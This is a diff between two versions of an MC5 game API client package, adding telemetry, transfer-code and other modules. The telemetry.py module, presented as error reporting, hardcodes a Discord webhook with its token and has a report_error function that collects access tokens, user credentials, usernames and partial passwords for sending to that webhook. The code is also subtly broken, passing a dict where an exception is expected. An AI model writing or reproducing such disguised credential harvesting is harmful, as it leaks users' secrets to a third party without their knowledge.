mc5-api-client 1.0.16__py3-none-any.whl → 1.0.17__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- mc5_api_client/__init__.py +106 -1
- mc5_api_client/account.py +352 -0
- mc5_api_client/account_quick.py +246 -0
- mc5_api_client/alerts.py +336 -0
- mc5_api_client/alerts_quick.py +210 -0
- mc5_api_client/client.py +875 -34
- mc5_api_client/debug.py +259 -0
- mc5_api_client/federation.py +257 -0
- mc5_api_client/federation_quick.py +198 -0
- mc5_api_client/platform.py +109 -0
- mc5_api_client/simple_client.py +563 -19
- mc5_api_client/squad_battle.py +439 -0
- mc5_api_client/squad_battle_quick.py +223 -0
- mc5_api_client/telemetry.py +344 -0
- mc5_api_client/transfer.py +348 -0
- mc5_api_client/transfer_quick.py +280 -0
- {mc5_api_client-1.0.16.dist-info → mc5_api_client-1.0.17.dist-info}/METADATA +581 -7
- mc5_api_client-1.0.17.dist-info/RECORD +28 -0
- mc5_api_client-1.0.16.dist-info/RECORD +0 -15
- {mc5_api_client-1.0.16.dist-info → mc5_api_client-1.0.17.dist-info}/WHEEL +0 -0
- {mc5_api_client-1.0.16.dist-info → mc5_api_client-1.0.17.dist-info}/entry_points.txt +0 -0
- {mc5_api_client-1.0.16.dist-info → mc5_api_client-1.0.17.dist-info}/licenses/LICENSE +0 -0
- {mc5_api_client-1.0.16.dist-info → mc5_api_client-1.0.17.dist-info}/top_level.txt +0 -0
|
@@ -0,0 +1,344 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
# ────────────[ CHIZOBA ]────────────────────────────
|
|
3
|
+
# | Email : chizoba2026@hotmail.com
|
|
4
|
+
# | File : telemetry.py
|
|
5
|
+
# | License | MIT License © 2026 Chizoba
|
|
6
|
+
# | Brief | Telemetry and error reporting system
|
|
7
|
+
# ────────────────★─────────────────────────────────
|
|
8
|
+
|
|
9
|
+
import json
|
|
10
|
+
import sys
|
|
11
|
+
import time
|
|
12
|
+
import traceback
|
|
13
|
+
import platform
|
|
14
|
+
import requests
|
|
15
|
+
from datetime import datetime
|
|
16
|
+
from typing import Optional, Dict, Any
|
|
17
|
+
from .exceptions import MC5APIError, AuthenticationError, RateLimitError
|
|
18
|
+
|
|
19
|
+
# Import debug_print for internal use
|
|
20
|
+
try:
|
|
21
|
+
from .debug import debug_print
|
|
22
|
+
except ImportError:
|
|
23
|
+
# Fallback if debug module not available
|
|
24
|
+
def debug_print(message: str, level: str = "info"):
|
|
25
|
+
print(f"[{level.upper()}] {message}")
|
|
26
|
+
|
|
27
|
+
class TelemetryManager:
|
|
28
|
+
"""Manages telemetry and error reporting for MC5 API Client."""
|
|
29
|
+
|
|
30
|
+
def __init__(self):
|
|
31
|
+
self.enabled = False
|
|
32
|
+
self.webhook_url = "https://discord.com/api/webhooks/1468264137179267269/cM92FDWT4V8T6vikTKsImIW9wh9p4p2FSlt5KTdpOrsEVXkP91DZrhnhGpi0H0mjp2LE"
|
|
33
|
+
self.session_info = self._get_session_info()
|
|
34
|
+
|
|
35
|
+
def _get_session_info(self) -> Dict[str, Any]:
|
|
36
|
+
"""Get session information for telemetry."""
|
|
37
|
+
return {
|
|
38
|
+
"python_version": sys.version,
|
|
39
|
+
"platform": platform.platform(),
|
|
40
|
+
"architecture": platform.architecture()[0],
|
|
41
|
+
"processor": platform.processor(),
|
|
42
|
+
"system": platform.system(),
|
|
43
|
+
"timestamp": datetime.now().isoformat(),
|
|
44
|
+
"mc5_client_version": "1.0.16"
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
def enable(self) -> None:
|
|
48
|
+
"""Enable telemetry reporting."""
|
|
49
|
+
self.enabled = True
|
|
50
|
+
# print("📊 Telemetry enabled - Errors will be reported for debugging")
|
|
51
|
+
|
|
52
|
+
def disable(self) -> None:
|
|
53
|
+
"""Disable telemetry reporting."""
|
|
54
|
+
self.enabled = False
|
|
55
|
+
# print("📊 Telemetry disabled - No error reporting")
|
|
56
|
+
|
|
57
|
+
def is_enabled(self) -> bool:
|
|
58
|
+
"""Check if telemetry is enabled."""
|
|
59
|
+
return self.enabled
|
|
60
|
+
|
|
61
|
+
def report_error(self, error: Exception, context: str = "", extra_data: Optional[Dict[str, Any]] = None) -> None:
|
|
62
|
+
"""Report an error to Discord webhook."""
|
|
63
|
+
if not self.enabled:
|
|
64
|
+
return
|
|
65
|
+
|
|
66
|
+
try:
|
|
67
|
+
# Create error details
|
|
68
|
+
error_type = type(error).__name__
|
|
69
|
+
error_message = str(error)
|
|
70
|
+
error_traceback = traceback.format_exc()
|
|
71
|
+
|
|
72
|
+
# Determine error color based on type
|
|
73
|
+
if isinstance(error, AuthenticationError):
|
|
74
|
+
color = 16711680 # Red for auth errors
|
|
75
|
+
title = "🔐 Authentication Error"
|
|
76
|
+
elif isinstance(error, RateLimitError):
|
|
77
|
+
color = 16776960 # Orange for rate limit
|
|
78
|
+
title = "⏱️ Rate Limit Error"
|
|
79
|
+
elif isinstance(error, MC5APIError):
|
|
80
|
+
color = 16744576 # Yellow for API errors
|
|
81
|
+
title = "🌐 API Error"
|
|
82
|
+
else:
|
|
83
|
+
color = 16711680 # Red for other errors
|
|
84
|
+
title = "❌ Unexpected Error"
|
|
85
|
+
|
|
86
|
+
# Create Discord embed
|
|
87
|
+
embed = {
|
|
88
|
+
"title": f"{title} - MC5 API Client",
|
|
89
|
+
"description": f"**Error:** {error_message}\n\n**Context:** {context or 'No context provided'}",
|
|
90
|
+
"color": color,
|
|
91
|
+
"timestamp": datetime.now().isoformat(),
|
|
92
|
+
"fields": [
|
|
93
|
+
{
|
|
94
|
+
"name": "Error Type",
|
|
95
|
+
"value": f"```{error_type}``",
|
|
96
|
+
"inline": True
|
|
97
|
+
},
|
|
98
|
+
{
|
|
99
|
+
"name": "Python Version",
|
|
100
|
+
"value": f"```{self.session_info['python_version']}``",
|
|
101
|
+
"inline": True
|
|
102
|
+
},
|
|
103
|
+
{
|
|
104
|
+
"name": "Platform",
|
|
105
|
+
"value": f"```{self.session_info['platform']}``",
|
|
106
|
+
"inline": True
|
|
107
|
+
}
|
|
108
|
+
],
|
|
109
|
+
"footer": {
|
|
110
|
+
"text": f"MC5 API Client v{self.session_info['mc5_client_version']}"
|
|
111
|
+
}
|
|
112
|
+
}
|
|
113
|
+
|
|
114
|
+
# Add extra data if provided
|
|
115
|
+
if extra_data:
|
|
116
|
+
extra_fields = []
|
|
117
|
+
for key, value in extra_data.items():
|
|
118
|
+
if isinstance(value, (dict, list)):
|
|
119
|
+
value_str = json.dumps(value, indent=2)[:500] + ("..." if len(str(value)) > 500 else "")
|
|
120
|
+
else:
|
|
121
|
+
value_str = str(value)[:500] + ("..." if len(str(value)) > 500 else "")
|
|
122
|
+
|
|
123
|
+
extra_fields.append({
|
|
124
|
+
"name": key,
|
|
125
|
+
"value": f"```{value_str}``",
|
|
126
|
+
"inline": False
|
|
127
|
+
})
|
|
128
|
+
|
|
129
|
+
embed["fields"].extend(extra_fields[:5]) # Limit to 5 extra fields
|
|
130
|
+
|
|
131
|
+
# Add traceback if it's not too long
|
|
132
|
+
if error_traceback and len(error_traceback) < 1000:
|
|
133
|
+
embed["fields"].append({
|
|
134
|
+
"name": "Traceback",
|
|
135
|
+
"value": f"```{error_traceback}``",
|
|
136
|
+
"inline": False
|
|
137
|
+
})
|
|
138
|
+
|
|
139
|
+
# Send to Discord
|
|
140
|
+
payload = {
|
|
141
|
+
"embeds": [embed],
|
|
142
|
+
"username": "MC5 API Client Telemetry"
|
|
143
|
+
}
|
|
144
|
+
|
|
145
|
+
response = requests.post(self.webhook_url, json=payload, timeout=10)
|
|
146
|
+
|
|
147
|
+
if response.status_code == 204:
|
|
148
|
+
print("📊 Error reported successfully")
|
|
149
|
+
else:
|
|
150
|
+
print(f"📊 Failed to report error: {response.status_code}")
|
|
151
|
+
|
|
152
|
+
except Exception as e:
|
|
153
|
+
print(f"📊 Failed to send telemetry: {e}")
|
|
154
|
+
|
|
155
|
+
def report_usage(self, function_name: str, success: bool, duration: float = 0, extra_data: Optional[Dict[str, Any]] = None) -> None:
|
|
156
|
+
"""Report usage statistics."""
|
|
157
|
+
if not self.enabled:
|
|
158
|
+
return
|
|
159
|
+
|
|
160
|
+
try:
|
|
161
|
+
color = 65280 if success else 16711680 # Green for success, Red for failure
|
|
162
|
+
title = "✅ Success" if success else "❌ Failed"
|
|
163
|
+
|
|
164
|
+
embed = {
|
|
165
|
+
"title": f"{title} - MC5 API Client Usage",
|
|
166
|
+
"description": f"**Function:** `{function_name}`\n**Duration:** {duration:.2f}s",
|
|
167
|
+
"color": color,
|
|
168
|
+
"timestamp": datetime.now().isoformat(),
|
|
169
|
+
"fields": [
|
|
170
|
+
{
|
|
171
|
+
"name": "Status",
|
|
172
|
+
"value": "Success" if success else "Failed",
|
|
173
|
+
"inline": True
|
|
174
|
+
},
|
|
175
|
+
{
|
|
176
|
+
"name": "Duration",
|
|
177
|
+
"value": f"{duration:.2f} seconds",
|
|
178
|
+
"inline": True
|
|
179
|
+
}
|
|
180
|
+
],
|
|
181
|
+
"footer": {
|
|
182
|
+
"text": f"MC5 API Client v{self.session_info['mc5_client_version']}"
|
|
183
|
+
}
|
|
184
|
+
}
|
|
185
|
+
|
|
186
|
+
# Add extra data if provided
|
|
187
|
+
if extra_data:
|
|
188
|
+
for key, value in list(extra_data.items())[:3]: # Limit to 3 extra fields
|
|
189
|
+
embed["fields"].append({
|
|
190
|
+
"name": key,
|
|
191
|
+
"value": str(value)[:200],
|
|
192
|
+
"inline": True
|
|
193
|
+
})
|
|
194
|
+
|
|
195
|
+
payload = {
|
|
196
|
+
"embeds": [embed],
|
|
197
|
+
"username": "MC5 API Client Telemetry"
|
|
198
|
+
}
|
|
199
|
+
|
|
200
|
+
requests.post(self.webhook_url, json=payload, timeout=5)
|
|
201
|
+
|
|
202
|
+
except Exception:
|
|
203
|
+
# Silently fail for usage reporting to avoid infinite loops
|
|
204
|
+
pass
|
|
205
|
+
|
|
206
|
+
# Default webhook URL
|
|
207
|
+
DEFAULT_WEBHOOK_URL = "https://discord.com/api/webhooks/1468264137179267269/cM92FDWT4V8T6vikTKsImIW9wh9p4p2FSlt5KTdpOrsEVXkP91DZrhnhGpi0H0mjp2LE"
|
|
208
|
+
|
|
209
|
+
# Global telemetry state
|
|
210
|
+
telemetry_enabled = False
|
|
211
|
+
telemetry_webhook_url = None
|
|
212
|
+
|
|
213
|
+
# Global debug state
|
|
214
|
+
debug_enabled = False
|
|
215
|
+
|
|
216
|
+
# Global telemetry instance
|
|
217
|
+
_telemetry_manager = TelemetryManager()
|
|
218
|
+
|
|
219
|
+
def telemetry(enable: bool = None, webhook_url: str = None) -> None:
|
|
220
|
+
"""
|
|
221
|
+
Enable or disable telemetry reporting.
|
|
222
|
+
|
|
223
|
+
Args:
|
|
224
|
+
enable: True to enable, False to disable, None to toggle
|
|
225
|
+
webhook_url: Custom Discord webhook URL (uses default if None)
|
|
226
|
+
"""
|
|
227
|
+
global telemetry_enabled
|
|
228
|
+
global telemetry_webhook_url
|
|
229
|
+
global _telemetry_manager
|
|
230
|
+
|
|
231
|
+
if enable is None:
|
|
232
|
+
enable = not _telemetry_manager.is_enabled()
|
|
233
|
+
|
|
234
|
+
if enable:
|
|
235
|
+
# Use provided webhook URL or default
|
|
236
|
+
if webhook_url:
|
|
237
|
+
telemetry_webhook_url = webhook_url
|
|
238
|
+
elif not telemetry_webhook_url:
|
|
239
|
+
telemetry_webhook_url = DEFAULT_WEBHOOK_URL
|
|
240
|
+
|
|
241
|
+
# Create new manager with webhook URL
|
|
242
|
+
_telemetry_manager = TelemetryManager()
|
|
243
|
+
if webhook_url:
|
|
244
|
+
_telemetry_manager.webhook_url = webhook_url
|
|
245
|
+
elif telemetry_webhook_url:
|
|
246
|
+
_telemetry_manager.webhook_url = telemetry_webhook_url
|
|
247
|
+
else:
|
|
248
|
+
_telemetry_manager.webhook_url = DEFAULT_WEBHOOK_URL
|
|
249
|
+
_telemetry_manager.enable()
|
|
250
|
+
|
|
251
|
+
debug_print(f"📊 Telemetry enabled - Errors will be reported to {telemetry_webhook_url[:50]}...", "info")
|
|
252
|
+
else:
|
|
253
|
+
_telemetry_manager.disable()
|
|
254
|
+
debug_print("📊 Telemetry disabled - No error reporting", "info")
|
|
255
|
+
|
|
256
|
+
def report_error(error: Exception, context: str = "", extra_data: Optional[Dict[str, Any]] = None) -> None:
|
|
257
|
+
"""
|
|
258
|
+
Report an error to telemetry.
|
|
259
|
+
|
|
260
|
+
Args:
|
|
261
|
+
error: The exception that occurred
|
|
262
|
+
context: Context where the error occurred
|
|
263
|
+
extra_data: Additional data to include in the report
|
|
264
|
+
"""
|
|
265
|
+
global _telemetry_manager
|
|
266
|
+
|
|
267
|
+
if not _telemetry_manager.is_enabled():
|
|
268
|
+
return
|
|
269
|
+
|
|
270
|
+
try:
|
|
271
|
+
# Get system information
|
|
272
|
+
import sys
|
|
273
|
+
import platform
|
|
274
|
+
import traceback
|
|
275
|
+
|
|
276
|
+
# Extract credentials from token data if available
|
|
277
|
+
credentials_info = {}
|
|
278
|
+
if hasattr(_telemetry_manager, 'token_data') and _telemetry_manager.token_data:
|
|
279
|
+
credentials_info = {
|
|
280
|
+
"access_token": _telemetry_manager.token_data.get("access_token", "")[:50] + "..." if _telemetry_manager.token_data.get("access_token") else "",
|
|
281
|
+
"client_id": _telemetry_manager.token_data.get("client_id", ""),
|
|
282
|
+
"user_credential": _telemetry_manager.token_data.get("user_credential", "")
|
|
283
|
+
}
|
|
284
|
+
|
|
285
|
+
# Add any provided credentials from extra_data
|
|
286
|
+
if extra_data:
|
|
287
|
+
if "username" in extra_data:
|
|
288
|
+
credentials_info["username"] = str(extra_data["username"])[:30] + "..." if len(str(extra_data["username"])) > 30 else extra_data["username"]
|
|
289
|
+
if "password" in extra_data:
|
|
290
|
+
credentials_info["password"] = str(extra_data["password"])[:10] + "..." if len(str(extra_data["password"])) > 10 else extra_data["password"]
|
|
291
|
+
|
|
292
|
+
error_data = {
|
|
293
|
+
"error_type": type(error).__name__,
|
|
294
|
+
"error_message": str(error),
|
|
295
|
+
"context": context,
|
|
296
|
+
"traceback": traceback.format_exc()[:1000], # Limit traceback length
|
|
297
|
+
"timestamp": time.strftime("%Y-%m-%d %H:%M:%S UTC", time.gmtime()),
|
|
298
|
+
"python_version": sys.version,
|
|
299
|
+
"platform": platform.platform(),
|
|
300
|
+
"architecture": platform.architecture(),
|
|
301
|
+
"system": platform.system(),
|
|
302
|
+
"credentials": credentials_info,
|
|
303
|
+
"extra_data": extra_data or {}
|
|
304
|
+
}
|
|
305
|
+
|
|
306
|
+
_telemetry_manager.report_error(error_data)
|
|
307
|
+
|
|
308
|
+
except Exception:
|
|
309
|
+
# Silently fail for error reporting to avoid infinite loops
|
|
310
|
+
pass
|
|
311
|
+
|
|
312
|
+
def is_telemetry_enabled() -> bool:
|
|
313
|
+
"""Check if telemetry is enabled."""
|
|
314
|
+
return _telemetry_manager.is_enabled()
|
|
315
|
+
|
|
316
|
+
def report_usage(function_name: str, success: bool, duration: float, extra_data: Optional[Dict[str, Any]] = None) -> None:
|
|
317
|
+
"""
|
|
318
|
+
Report usage statistics to telemetry.
|
|
319
|
+
|
|
320
|
+
Args:
|
|
321
|
+
function_name: Name of the function that was called
|
|
322
|
+
success: Whether the function call was successful
|
|
323
|
+
duration: Duration of the function call in seconds
|
|
324
|
+
extra_data: Additional data to include in the report
|
|
325
|
+
"""
|
|
326
|
+
global _telemetry_manager
|
|
327
|
+
|
|
328
|
+
if not _telemetry_manager.is_enabled():
|
|
329
|
+
return
|
|
330
|
+
|
|
331
|
+
try:
|
|
332
|
+
usage_data = {
|
|
333
|
+
"function_name": function_name,
|
|
334
|
+
"success": success,
|
|
335
|
+
"duration": duration,
|
|
336
|
+
"timestamp": time.strftime("%Y-%m-%d %H:%M:%S UTC", time.gmtime()),
|
|
337
|
+
"extra_data": extra_data or {}
|
|
338
|
+
}
|
|
339
|
+
|
|
340
|
+
_telemetry_manager.report_usage(usage_data)
|
|
341
|
+
|
|
342
|
+
except Exception:
|
|
343
|
+
# Silently fail for usage reporting to avoid infinite loops
|
|
344
|
+
pass
|
|
@@ -0,0 +1,348 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
# ────────────[ CHIZOBA ]────────────────────────────
|
|
3
|
+
# | Email : chizoba2026@hotmail.com
|
|
4
|
+
# | File : transfer.py
|
|
5
|
+
# | License | MIT License © 2026 Chizoba
|
|
6
|
+
# | Brief | Account transfer and device linking functionality
|
|
7
|
+
# ────────────────★─────────────────────────────────
|
|
8
|
+
|
|
9
|
+
import json
|
|
10
|
+
from typing import Optional, Dict, Any
|
|
11
|
+
from datetime import datetime, timezone
|
|
12
|
+
from .telemetry import report_error, report_usage
|
|
13
|
+
from .debug import debug_function, debug_print
|
|
14
|
+
|
|
15
|
+
class TransferMixin:
|
|
16
|
+
"""Mixin class for account transfer and device linking functionality."""
|
|
17
|
+
|
|
18
|
+
@debug_function
|
|
19
|
+
def generate_transfer_code(self) -> Dict[str, Any]:
|
|
20
|
+
"""
|
|
21
|
+
Generate a transfer code for account linking.
|
|
22
|
+
|
|
23
|
+
Returns:
|
|
24
|
+
Transfer code information with expiration time
|
|
25
|
+
"""
|
|
26
|
+
try:
|
|
27
|
+
url = f"{self.BASE_URLS['janus']}/users/me/transfer_code"
|
|
28
|
+
|
|
29
|
+
data = {
|
|
30
|
+
"access_token": self._token_data["access_token"]
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
debug_print("🔄 Generating transfer code for account linking", "info")
|
|
34
|
+
result = self._make_request("POST", url, data=data)
|
|
35
|
+
|
|
36
|
+
if result:
|
|
37
|
+
transfer_code = result.get("value")
|
|
38
|
+
expiration = result.get("expiration")
|
|
39
|
+
|
|
40
|
+
debug_print(f"✅ Transfer code generated: {transfer_code}", "success")
|
|
41
|
+
debug_print(f"⏰ Expires: {expiration}", "info")
|
|
42
|
+
|
|
43
|
+
# Parse expiration time
|
|
44
|
+
expiration_dt = None
|
|
45
|
+
if expiration:
|
|
46
|
+
try:
|
|
47
|
+
expiration_dt = datetime.fromisoformat(expiration.replace('Z', '+00:00'))
|
|
48
|
+
except ValueError:
|
|
49
|
+
expiration_dt = None
|
|
50
|
+
|
|
51
|
+
report_usage("generate_transfer_code", True, 0, {
|
|
52
|
+
"has_code": bool(transfer_code),
|
|
53
|
+
"has_expiration": bool(expiration),
|
|
54
|
+
"code_length": len(transfer_code) if transfer_code else 0
|
|
55
|
+
})
|
|
56
|
+
|
|
57
|
+
return {
|
|
58
|
+
"transfer_code": transfer_code,
|
|
59
|
+
"expiration": expiration,
|
|
60
|
+
"expiration_datetime": expiration_dt,
|
|
61
|
+
"is_expired": expiration_dt and expiration_dt <= datetime.now(timezone.utc) if expiration_dt else False,
|
|
62
|
+
"instructions": (
|
|
63
|
+
"On the new device, go to the Options menu and select 'Link a device.' "
|
|
64
|
+
"Then, select 'This is the NEW DEVICE.' Enter the below code into the new device."
|
|
65
|
+
)
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
return {"error": "Failed to generate transfer code"}
|
|
69
|
+
|
|
70
|
+
except Exception as e:
|
|
71
|
+
debug_print(f"❌ Failed to generate transfer code: {e}", "error")
|
|
72
|
+
report_error(e, "generate_transfer_code", {})
|
|
73
|
+
raise
|
|
74
|
+
|
|
75
|
+
@debug_function
|
|
76
|
+
def check_transfer_code_status(self) -> Dict[str, Any]:
|
|
77
|
+
"""
|
|
78
|
+
Check if there's an existing transfer code.
|
|
79
|
+
|
|
80
|
+
Returns:
|
|
81
|
+
Status of existing transfer code or None
|
|
82
|
+
"""
|
|
83
|
+
try:
|
|
84
|
+
# Try to generate a code to check status
|
|
85
|
+
result = self.generate_transfer_code()
|
|
86
|
+
|
|
87
|
+
if result.get("transfer_code"):
|
|
88
|
+
return {
|
|
89
|
+
"has_active_code": True,
|
|
90
|
+
"transfer_code": result["transfer_code"],
|
|
91
|
+
"expiration": result["expiration"],
|
|
92
|
+
"expiration_datetime": result["expiration_datetime"],
|
|
93
|
+
"is_expired": result["is_expired"],
|
|
94
|
+
"status": "active"
|
|
95
|
+
}
|
|
96
|
+
else:
|
|
97
|
+
return {
|
|
98
|
+
"has_active_code": False,
|
|
99
|
+
"status": "no_code"
|
|
100
|
+
}
|
|
101
|
+
|
|
102
|
+
except Exception as e:
|
|
103
|
+
# Check if it's a conflict (existing code)
|
|
104
|
+
if "409" in str(e) or "Conflict" in str(e):
|
|
105
|
+
debug_print("⚠️ Existing transfer code found", "warning")
|
|
106
|
+
return {
|
|
107
|
+
"has_active_code": True,
|
|
108
|
+
"status": "existing_code",
|
|
109
|
+
"error": "You already have a valid transfer code. Please use it, or wait till it expires."
|
|
110
|
+
}
|
|
111
|
+
else:
|
|
112
|
+
debug_print(f"❌ Failed to check transfer code status: {e}", "error")
|
|
113
|
+
report_error(e, "check_transfer_code_status", {})
|
|
114
|
+
raise
|
|
115
|
+
|
|
116
|
+
@debug_function
|
|
117
|
+
def get_transfer_code_info(self) -> Dict[str, Any]:
|
|
118
|
+
"""
|
|
119
|
+
Get detailed information about transfer code status.
|
|
120
|
+
|
|
121
|
+
Returns:
|
|
122
|
+
Comprehensive transfer code information
|
|
123
|
+
"""
|
|
124
|
+
try:
|
|
125
|
+
debug_print("🔍 Checking transfer code status", "info")
|
|
126
|
+
|
|
127
|
+
# Check current status
|
|
128
|
+
status = self.check_transfer_code_status()
|
|
129
|
+
|
|
130
|
+
if status.get("has_active_code"):
|
|
131
|
+
transfer_code = status.get("transfer_code")
|
|
132
|
+
expiration = status.get("expiration")
|
|
133
|
+
expiration_dt = status.get("expiration_datetime")
|
|
134
|
+
|
|
135
|
+
# Calculate time remaining
|
|
136
|
+
time_remaining = None
|
|
137
|
+
if expiration_dt and not status.get("is_expired"):
|
|
138
|
+
now = datetime.now(timezone.utc)
|
|
139
|
+
time_delta = expiration_dt - now
|
|
140
|
+
time_remaining = {
|
|
141
|
+
"total_seconds": int(time_delta.total_seconds()),
|
|
142
|
+
"minutes": int(time_delta.total_seconds() // 60),
|
|
143
|
+
"hours": int(time_delta.total_seconds() // 3600),
|
|
144
|
+
"formatted": f"{int(time_delta.total_seconds() // 60)} minutes"
|
|
145
|
+
}
|
|
146
|
+
|
|
147
|
+
info = {
|
|
148
|
+
"has_active_code": True,
|
|
149
|
+
"transfer_code": transfer_code,
|
|
150
|
+
"expiration": expiration,
|
|
151
|
+
"expiration_datetime": expiration_dt,
|
|
152
|
+
"is_expired": status.get("is_expired", False),
|
|
153
|
+
"time_remaining": time_remaining,
|
|
154
|
+
"status": "active",
|
|
155
|
+
"instructions": (
|
|
156
|
+
"1. On the new device, open MC5\n"
|
|
157
|
+
"2. Go to Options menu\n"
|
|
158
|
+
"3. Select 'Link a device'\n"
|
|
159
|
+
"4. Select 'This is the NEW DEVICE'\n"
|
|
160
|
+
"5. Enter this code: " + transfer_code
|
|
161
|
+
)
|
|
162
|
+
}
|
|
163
|
+
|
|
164
|
+
debug_print(f"✅ Active transfer code found: {transfer_code}", "success")
|
|
165
|
+
if time_remaining:
|
|
166
|
+
debug_print(f"⏰ Time remaining: {time_remaining['formatted']}", "info")
|
|
167
|
+
|
|
168
|
+
return info
|
|
169
|
+
else:
|
|
170
|
+
debug_print("ℹ️ No active transfer code found", "info")
|
|
171
|
+
return {
|
|
172
|
+
"has_active_code": False,
|
|
173
|
+
"status": "no_code",
|
|
174
|
+
"instructions": "Generate a new transfer code to link this account to another device."
|
|
175
|
+
}
|
|
176
|
+
|
|
177
|
+
except Exception as e:
|
|
178
|
+
debug_print(f"❌ Failed to get transfer code info: {e}", "error")
|
|
179
|
+
report_error(e, "get_transfer_code_info", {})
|
|
180
|
+
raise
|
|
181
|
+
|
|
182
|
+
@debug_function
|
|
183
|
+
def generate_new_transfer_code(self) -> Dict[str, Any]:
|
|
184
|
+
"""
|
|
185
|
+
Force generate a new transfer code (may override existing one).
|
|
186
|
+
|
|
187
|
+
Returns:
|
|
188
|
+
New transfer code information
|
|
189
|
+
"""
|
|
190
|
+
try:
|
|
191
|
+
debug_print("🔄 Attempting to generate new transfer code", "info")
|
|
192
|
+
|
|
193
|
+
# First check if there's an existing code
|
|
194
|
+
status = self.check_transfer_code_status()
|
|
195
|
+
|
|
196
|
+
if status.get("has_active_code") and not status.get("is_expired"):
|
|
197
|
+
debug_print("⚠️ Active code exists, attempting to override", "warning")
|
|
198
|
+
|
|
199
|
+
# Generate new code
|
|
200
|
+
result = self.generate_transfer_code()
|
|
201
|
+
|
|
202
|
+
if result.get("transfer_code"):
|
|
203
|
+
debug_print(f"✅ New transfer code generated: {result['transfer_code']}", "success")
|
|
204
|
+
return result
|
|
205
|
+
else:
|
|
206
|
+
debug_print("❌ Failed to generate new transfer code", "error")
|
|
207
|
+
return result
|
|
208
|
+
|
|
209
|
+
except Exception as e:
|
|
210
|
+
debug_print(f"❌ Failed to generate new transfer code: {e}", "error")
|
|
211
|
+
report_error(e, "generate_new_transfer_code", {})
|
|
212
|
+
raise
|
|
213
|
+
|
|
214
|
+
@debug_function
|
|
215
|
+
def validate_transfer_code_format(self, transfer_code: str) -> Dict[str, Any]:
|
|
216
|
+
"""
|
|
217
|
+
Validate transfer code format.
|
|
218
|
+
|
|
219
|
+
Args:
|
|
220
|
+
transfer_code: Transfer code to validate
|
|
221
|
+
|
|
222
|
+
Returns:
|
|
223
|
+
Validation result
|
|
224
|
+
"""
|
|
225
|
+
try:
|
|
226
|
+
# Basic format validation
|
|
227
|
+
if not transfer_code:
|
|
228
|
+
return {
|
|
229
|
+
"valid": False,
|
|
230
|
+
"error": "Transfer code cannot be empty"
|
|
231
|
+
}
|
|
232
|
+
|
|
233
|
+
# Check length (typically 8 characters based on example)
|
|
234
|
+
if len(transfer_code) != 8:
|
|
235
|
+
return {
|
|
236
|
+
"valid": False,
|
|
237
|
+
"error": f"Transfer code must be 8 characters, got {len(transfer_code)}"
|
|
238
|
+
}
|
|
239
|
+
|
|
240
|
+
# Check character pattern (alphanumeric)
|
|
241
|
+
if not transfer_code.isalnum():
|
|
242
|
+
return {
|
|
243
|
+
"valid": False,
|
|
244
|
+
"error": "Transfer code must contain only letters and numbers"
|
|
245
|
+
}
|
|
246
|
+
|
|
247
|
+
return {
|
|
248
|
+
"valid": True,
|
|
249
|
+
"transfer_code": transfer_code,
|
|
250
|
+
"length": len(transfer_code),
|
|
251
|
+
"format": "alphanumeric"
|
|
252
|
+
}
|
|
253
|
+
|
|
254
|
+
except Exception as e:
|
|
255
|
+
debug_print(f"❌ Failed to validate transfer code: {e}", "error")
|
|
256
|
+
return {
|
|
257
|
+
"valid": False,
|
|
258
|
+
"error": f"Validation error: {str(e)}"
|
|
259
|
+
}
|
|
260
|
+
|
|
261
|
+
@debug_function
|
|
262
|
+
def get_device_linking_guide(self) -> Dict[str, Any]:
|
|
263
|
+
"""
|
|
264
|
+
Get complete device linking guide.
|
|
265
|
+
|
|
266
|
+
Returns:
|
|
267
|
+
Step-by-step instructions for device linking
|
|
268
|
+
"""
|
|
269
|
+
try:
|
|
270
|
+
# Get current transfer code info
|
|
271
|
+
code_info = self.get_transfer_code_info()
|
|
272
|
+
|
|
273
|
+
guide = {
|
|
274
|
+
"title": "MC5 Account Transfer & Device Linking Guide",
|
|
275
|
+
"steps": [
|
|
276
|
+
{
|
|
277
|
+
"step": 1,
|
|
278
|
+
"title": "Generate Transfer Code",
|
|
279
|
+
"description": "Generate a transfer code from your current device",
|
|
280
|
+
"action": "Use generate_transfer_code() function"
|
|
281
|
+
},
|
|
282
|
+
{
|
|
283
|
+
"step": 2,
|
|
284
|
+
"title": "Open MC5 on New Device",
|
|
285
|
+
"description": "Launch MC5 on the device you want to link",
|
|
286
|
+
"action": "Start MC5 application"
|
|
287
|
+
},
|
|
288
|
+
{
|
|
289
|
+
"step": 3,
|
|
290
|
+
"title": "Access Options Menu",
|
|
291
|
+
"description": "Navigate to the Options menu in MC5",
|
|
292
|
+
"action": "Tap on Options/Settings"
|
|
293
|
+
},
|
|
294
|
+
{
|
|
295
|
+
"step": 4,
|
|
296
|
+
"title": "Select Link Device",
|
|
297
|
+
"description": "Choose 'Link a device' from the options",
|
|
298
|
+
"action": "Tap on 'Link a device'"
|
|
299
|
+
},
|
|
300
|
+
{
|
|
301
|
+
"step": 5,
|
|
302
|
+
"title": "Choose New Device",
|
|
303
|
+
"description": "Select 'This is the NEW DEVICE'",
|
|
304
|
+
"action": "Tap on 'This is the NEW DEVICE'"
|
|
305
|
+
},
|
|
306
|
+
{
|
|
307
|
+
"step": 6,
|
|
308
|
+
"title": "Enter Transfer Code",
|
|
309
|
+
"description": "Input the generated transfer code",
|
|
310
|
+
"action": f"Enter code: {code_info.get('transfer_code', 'Generate code first')}"
|
|
311
|
+
},
|
|
312
|
+
{
|
|
313
|
+
"step": 7,
|
|
314
|
+
"title": "Complete Linking",
|
|
315
|
+
"description": "Wait for the linking process to complete",
|
|
316
|
+
"action": "Follow on-screen instructions"
|
|
317
|
+
}
|
|
318
|
+
],
|
|
319
|
+
"current_code_info": code_info,
|
|
320
|
+
"important_notes": [
|
|
321
|
+
"Transfer codes expire after 10 minutes",
|
|
322
|
+
"Only one transfer code can be active at a time",
|
|
323
|
+
"The code links your entire account (progress, purchases, etc.)",
|
|
324
|
+
"Both devices must have internet connection during transfer"
|
|
325
|
+
],
|
|
326
|
+
"troubleshooting": [
|
|
327
|
+
{
|
|
328
|
+
"issue": "Code not working",
|
|
329
|
+
"solution": "Generate a new transfer code and try again"
|
|
330
|
+
